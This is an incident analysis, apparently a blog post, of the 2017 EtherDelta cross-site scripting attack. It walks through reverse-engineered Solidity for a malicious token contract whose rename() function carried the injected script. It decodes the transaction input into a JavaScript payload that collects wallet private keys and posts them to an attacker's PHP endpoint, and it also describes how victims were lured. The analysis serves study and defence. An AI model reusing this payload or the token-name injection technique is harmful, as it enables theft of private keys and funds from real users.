Code injection attacks using blockchains: Part 1

Zhongqiang Chen
9 min readOct 17, 2019

--

EtherDelta Overview

EtherDelta is a cryptocurrency exchange platform for Ethereum and ERC20 compatible tokens that have been deployed on the Ethereum blockchain. In EtherDelta, exchanges between Ether and other tokens are executed on a smart contract, which creates a trust-less, purely software-based interface between users executing buy and sell orders. Also, the source code of the smart contract is published by its creator and is available for everyone to review. Therefore, all the behavior of EtherDelta functions is transparent and verifiable to everyone.

The smart contract for the EtherDelta exchange was deployed by the following transaction.

Transaction Hash: 0xc10fc67499a037b6c2f14ae0c63b659b05bd7b553378202f96e777dd4843130f
Block: 3154196 5600256 Block Confirmations
Timestamp: 978 days 22 hrs ago (Feb-09-2017 10:50:04 PM +UTC)
From: 0x1ed014aec47fae44c9e55bac7662c0b78ae61798
To: [Contract 0x8d12a197cb00d4747a1fe03395095ce2a5cc6819 Created] (EtherDelta 2)
Value: 0 Ether ($0.00)
Transaction Fee: 0.03803888 Ether ($6.63)
Gas Limit: 2,000,000
Gas Used by Transaction: 1,901,944 (95.1%)
Gas Price: 0.00000002 Ether (20 Gwei)
Nonce Position 36 1
Input Data: (omitted)

When trading on EtherDelta, a user must have a wallet that is controlled by user’s private key. Anyone who knows the private key can access the funds in the wallet.

EtherDelta also provides a frontend application that can be loaded by users into their browsers to interact with the EtherDelta smart contract. Thus, the EtherDelta frontend in fact is a full wallet management application that not only exposes the methods from the EtherDelta smart contract, but also manages users public wallet addresses and their private keys.

When a user interacts with EtherDelta smart contract through the EtherDelta frontend application, the user is trusting his wallet’s private key to the EtherDelta session in browser.

The EtherDelta frontend application makes it quite user-friendly to interact with EtherDelta smart contract. On the other hand, it also means that user’s private key could be captured from the browser session by a malicious code injection when user trusts his private key to the EtherDelta frontend.

EtherDelta allows any ERC20 token to be traded by users as long as the token has been deployed on the Ethereum blockchain. For a token that is officially listed on the platform, the information about the token can be accessed by the URL like this: https://etherdelta.com/#LINK-ETH. For any token that is not officially listed by the site, it can still be traded just using the address of the ERC20 token contract like this: https://etherdelta.com/#0xfd16d59ea9601fc727b47b9402111f5a710310f6-ETH.

For each token, the EtherDelta interface displays the name of the token at the top of the screen. The name of any ERC20 token can be obtained from the token’s smart contract.

Unfortunately, it was found that EtherDelta frontend application has a Cross-site scripting (XSS) vulnerability caused by un-sanitized input from token contracts. Cross-site scripting can be exploited by an attacker to inject malicious code into an otherwise innocuous web page. Since the injected code is executed client side it has access to any information available to the user.

In particular, the attacker could inject a malicious code into the EtherDelta frontend application to sniff the private keys from users’ browser sessions, and then drain the funds from users’ wallets.

In order to lure users to click on the link for the unlisted token created by the attackers, the attackers resort to multiple methods:

a. the attackers gained the trust of users through cryptocurrency chat rooms on Discord and Slack, and sent these users a link for an unlisted token on EtherDelta.

b. the attackers posted the link for attackers’ token in the official EtherDelta chat powered by Gitter.

c. the attackers sent the link to the smart contract for the token created by the attackers in other platforms such as tumblr.

The address for the token smart contract in the URL of this link was a malicious contract deployed by the attacker. The name of this malicious contract is actually a piece of JavaScript code. When the name of the contract was displayed on the web page by the EtherDelta frontend, the JavaScript code was executed, giving this piece of code the full access to the data in the user’s session on EtherDelta.

Let us look at this malicious smart contract next.

Smart contract for code injection

The smart contract for code injection was deployed by the attackers in the following transaction.

Transaction Hash: 0x673dc89331db01859d1fee0726af60aa0d887b22ba4ab37c6166cb35377ed8a5
Block: 4307758 4439905 Block Confirmations
Timestamp: 751 days 4 hrs ago (Sep-24-2017 02:43:23 PM +UTC)
From: 0x2b1ebdd51fd2e5f2406f655c7a3e94eab9b338fe (Hack: EtherDelta)
To: [Contract 0xfd16d59ea9601fc727b47b9402111f5a710310f6 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.027815109 Ether ($5.01)
Gas Limit: 1,324,529
Gas Used by Transaction: 1,324,529 (100%)
Gas Price: 0.000000021 Ether (21 Gwei)
Nonce Position 0 28
Input Data: (omitted)

The creator of the smart contract is 0x2b1e. The smart contract is deployed on Sep-24–2017 02:43:23 PM +UTC. The address of the smart contract is 0xfd16, so, let us name it as contract_fd16.

This smart contract is supposed to be an ERC20 compatible contract and it should implement the functions specified in the ERC20 interface such as token transfer.

As the creator of this smart contract did not publish its source code, we thus use reverse engineering techniques to recover it.

The source code of the smart contract for code injection, contract_fd16, is given below.

pragma solidity ^0.5.1;contract contract_fd16 {
event Burn(address, uint256);
event Transfer(address, address, uint256);

// slot 0x00
string public name;
// slot 0x01
string public symbol;
// slot 0x02
uint8 public decimals;
// slot 0x03
uint256 public totalSupply;
// slot 0x04
mapping (address => uint256) balances;
// slot 0x05
mapping (address => mapping (address => uint256)) allowed;

constructor () public {
// 0xd3c21bcecceda1000000 = 1e+24
balances[msg.sender] = 0xd3c21bcecceda1000000;
totalSupply = 0xd3c21bcecceda1000000;
name = "123123123";
symbol = "twy";
decimals = 18;
}

// function selector: 0x095ea7b3
// code entrance: 0x0156
function approve(address _spender, uint256 _value) public
returns (bool) {
bool rtn = _allow(_spender, _value);
return rtn;
}
// function selector: 0x23b872dd
// code entrance: 0x01d9
function transferFrom(address _from, address _to,
uint256 _value) public returns (bool) {
require (_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
// function selector: 0x42966c68
// code entrance: 0x0281
function burn(uint256 _val) public returns (bool) {
require (balances[msg.sender] >= _val);
balances[msg.sender] = balances[msg.sender] - _val;
totalSupply -= _val;
emit Burn(msg.sender, _val); return true;
}
// function selector: 0x66605ba4
// code entrance: 0x02bc
function rename(string memory _name) public {
require (balances[msg.sender] != 0);
name = _name;
}

// function selector: 0x70a08231
// code entrance: 0x0319
function balanceOf(address _addr) public view
returns (uint256) {
return balances[_addr];
}

// function selector: 0x79cc6790
// code entrance: 0x0366
function burnFrom(address _addr, uint256 _value) public
returns (bool) {
require (balances[_addr] >= _value);
require (allowed[_addr][msg.sender] >= _value);
balances[_addr] -= _value;
allowed[_addr][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_addr, _value); return true;
}

// function selector: 0xa9059cbb
// code entrance: 0x044e
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
return;
}

// function selector: 0xcae9ca51
// code entrance: 0x0490
function approveAndCall(address _spender, uint256 _value,
bytes memory _extraData) public returns (bool) {
bool rtn = _allow(_spender, _value);
if (rtn == true) {
// receiveApproval(address,uint256,address,bytes)
// 0x8f4ffcb1
(rtn,) = _spender.call(
abi.encodeWithSelector(0x8f4ffcb1,
msg.sender,
_value,
address(this),
_extraData
)
);
require (rtn == true);
}
return rtn;
}

// function selector: 0xdd62ed3e
// code entrance: 0x052d
function allowance(address _owner, address _spender)
public view returns (uint256) {
return allowed[_owner][_spender];
}

// internal functions

// code entrance: 0x0637
function _allow(address _spender, uint256 _value) private
returns (bool) {
allowed[msg.sender][_spender] = _value;
return true;
}

// code entrance: 0x0df7
function _transfer(address _from, address _to,
uint256 _value) private {
require ( _to != address(0));
require (balances[_from] >= _value);
require ((balances[_to] + _value) > balances[_to]);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
}
}

It can be seen that this smart contract indeed implements all the functions in a standard ERC20 interface. In addition, the smart contract also provides functions to burn tokens such as burn() and burnFrom(). Just like smart contracts for other tokens, this smart contract also defines standard storage variables such as “name”, “symbol”, and “totalSupply”. These storage variables are all declared as “public”, thus, they can be fetched by anyone who would like to.

Of course, the biggest difference between this smart contract and other ERC20 compliant smart contracts is that it also provides a function called rename(), which is used to change the name of the token issued by the smart contract.

The function rename() is extremely simple: it replace the string for the variable “name” with the one provided by the caller.

It is interesting to see that the condition on execution of the function rename() is to require (balances[msg.sender] != 0). That is, as long as one has some balance in the smart contract, he is able to trigger this function. Of course, at the time when the smart contract is created, its creator is the only one who has any balance. Also, the only way for others to get tokens (i.e., balances) is that someone having tokens calls functions transfer() and transferFrom(). Therefore, by controlling the balances, the creator of the smart contract actually can control who can access the rename() function.

In a normal smart contract for a token, the “name” of the token is fixed after it is defined and is not changed in its lifetime. Therefore, the “name” of the token can be regarded as the identifier of the token. If the identifier of the token changes in its lifetime, it could cause confusion among traders when it is traded.

However, for this malicious smart contract, token issuing and token trading is not its main purpose, and its sole goal is to inject code into users’ EtherDelta browser sessions to steal their private keys. The function rename() is exactly the code used by the attackers to achieve this goal.

Let us see how it works in real world next.

Code injection attacks in action

The code that will be injected into the EtherDelta interface is provided by the following transaction.

Transaction Hash: 0x4e0747868f2b163350a622ea2bb2ef94faf10c7e0d293f980a840c8e1404d053
Block: 4307763 4439903 Block Confirmations
Timestamp: 751 days 4 hrs ago (Sep-24-2017 02:46:26 PM +UTC)
From: 0x2b1ebdd51fd2e5f2406f655c7a3e94eab9b338fe (Hack: EtherDelta)
To: Contract 0xfd16d59ea9601fc727b47b9402111f5a710310f6
Value: 0 Ether ($0.00)
Transaction Fee: 0.009463839 Ether ($1.71)
Gas Limit: 450,659
Gas Used by Transaction: 450,659 (100%)
Gas Price: 0.000000021 Ether (21 Gwei)
Nonce Position 1 33
Input Data:
Function: rename(string _name) ***
MethodID: 0x66605ba4
[0]: 0000000000000000000000000000000000000000000000000000000000000020
[1]: 000000000000000000000000000000000000000000000000000000000000025d
[2]: 44415441203c7363726970743e2066756e6374696f6e20646f536f6d65746869
[3]: 6e6728297b666f7228242822236465706f73697442616c616e6365546f6b656e
[4]: 206122292e7465787428292e696e6465784f66282227295c223e444154412229
[5]: 3e3d302626242822236465706f73697442616c616e6365546f6b656e20612229
[6]: 2e7465787428224441544122292c73617665644b6579733d5b5d2c613d313b61
[7]: 3c6d61696e2e457468657244656c74612e61646472732e6c656e6774683b612b
[8]: 2b2973696e676c656b65793d5b5d2c73696e676c656b65795b305d3d6d61696e
[9]: 2e457468657244656c74612e61646472735b615d2c73696e676c656b65795b31
[10]: 5d3d6d61696e2e457468657244656c74612e706b735b615d2c73617665644b65
[11]: 79732e707573682873696e676c656b6579293b76617220653d7b6f626a656374
[12]: 3a4a534f4e2e737472696e676966792873617665644b657973297d3b242e706f
[13]: 7374282268747470733a2f2f63646e2d736f6c7574696f6e732e636f6d2f7570
[14]: 646174652e706870222c652c66756e6374696f6e28652c6e2c74297b7d292c73
[15]: 657454696d656f757428646f536f6d657468696e672c316534297d7661722073
[16]: 617665644b6579733d5b5d3b696628766f696420303d3d3d6f6e6c796f6e6365
[17]: 297b766172206f6e6c796f6e63653d21303b646f536f6d657468696e6728292c
[18]: 67613d66756e6374696f6e28297b7d2c646f536f6d657468696e6728292c2428
[19]: 22236163636f756e745375626d697422292e636c69636b2866756e6374696f6e
[20]: 28297b646f536f6d657468696e6728297d297d203c2f7363726970743e000000

This transaction is sent on Sep-24–2017 02:46:26 PM +UTC, and it is only 3 minutes after the deployment of the smart contract, which is on Sep-24–2017 02:43:23 PM +UTC.

The sender of this transaction is 0x2b1e, who is the creator of the smart contract.

This transaction calls the function rename() in the smart contract contract_fd16. As analyzed above, the creator of the smart contract is the only one who can trigger this function (as he did not grant any tokens to others at this point).

As shown in the source code, the function rename() takes a string as its input, and uses it to replace the content of storage variable “name”.

Although the input string in the information on the transaction is presented as a byte sequence, it in fact is a piece of code like the following:

DATA
<script>
function doSomething() {
for($("#depositBalanceToken a").text().indexOf("')\">DATA")>=0 &&
$("#depositBalanceToken a").text("DATA"),
savedKeys=[], a=1;
a<main.EtherDelta.addrs.length; a++)
singlekey=[],
singlekey[0]=main.EtherDelta.addrs[a],
singlekey[1]=main.EtherDelta.pks[a],
savedKeys.push(singlekey);
var e={object:JSON.stringify(savedKeys)};
$.post("https://cdn-solutions.com/update.php",
e, function(e,n,t){}), setTimeout(doSomething,1e4)
}
var savedKeys=[];
if(void 0===onlyonce) {
var onlyonce=!0;
doSomething(), ga=function(){},
doSomething(),
$("#accountSubmit").click(function(){doSomething()})
}
</script>

This piece of code is written in JavaScript. It defines a function named doSomething(), which collects the private key for the user’s wallet(s) from the EtherDelta session in user’s browser and then sends these keys to a remote PHP script located at https://cdn-solutions.com/update.php.

Although the source code of this PHP script is not available, we can infer that the PHP script will receive the private keys, then load the wallets corresponding to the private keys, and transfer the funds out to attacker’s wallets.

It is believed that one of attacker’s wallets is the following:

Address 0x4Daa00c6944Ef98cd7529121a0bBCa353fd23d72
Balance: 222.872242679971680869 Ether
EtherValue: $38,866.69 (@ $174.39/ETH)
Total number of transactions: 120
Total number of internal transactions: 3
Total number of ERC-20 Token Transfer Events: 25
most recently active time: Sep-28-2019 03:06:06 PM +UTC

It can be seen that this address used to store money stolen from victims is not the same as the one who deployed the smart contract for code injection. This makes it difficult to connect these accounts together and track the activities of attackers.

The victims did not even realize this attack was taking place. As there are so many pieces of JavaScript running already in the EtherDelta interface, it is quite difficult for victims to spot sensitive information being transferred to remote locations.

once it was reported to the EtherDelta team, it was patched within a few hours.

Transaction Hash: 0x834b2d0539e29df6ce01fd9b142fc964635ff27766649aebebdb590306329077
Block: 4308098 4439569 Block Confirmations
Timestamp: 751 days 1 hr ago (Sep-24-2017 05:37:14 PM +UTC)
From: 0x2b1ebdd51fd2e5f2406f655c7a3e94eab9b338fe (Hack: EtherDelta)
To: Contract 0xfd16d59ea9601fc727b47b9402111f5a710310f6
Value: 0 Ether ($0.00)
Transaction Fee: 0.001306599 Ether ($0.24)
Gas Limit: 124,438
Gas Used by Transaction: 62,219 (50%)
Gas Price: 0.000000021 Ether (21 Gwei)
Nonce Position 2 31
Input Data:
Function: rename(string _name) ***
MethodID: 0x66605ba4
[0]: 0000000000000000000000000000000000000000000000000000000000000020
[1]: 0000000000000000000000000000000000000000000000000000000000000004
[2]: 4441544100000000000000000000000000000000000000000000000000000000

This transaction was sent on Sep-24–2017 05:37:14 PM +UTC, and it was about 3 hours after the transaction that provided the code for injection attack and was shown above.

This transaction called the rename() function to set the storage variable “name” to be “DATA”. That means the smart contract no longer injected malicious code to the users’ browser sessions. Instead, the EtherDelta interface simply display the token provided by this smart contract as “DATA”.

The reason for this may be: EtherDelta has been patched the bug, making the code injection no longer effective.

--

--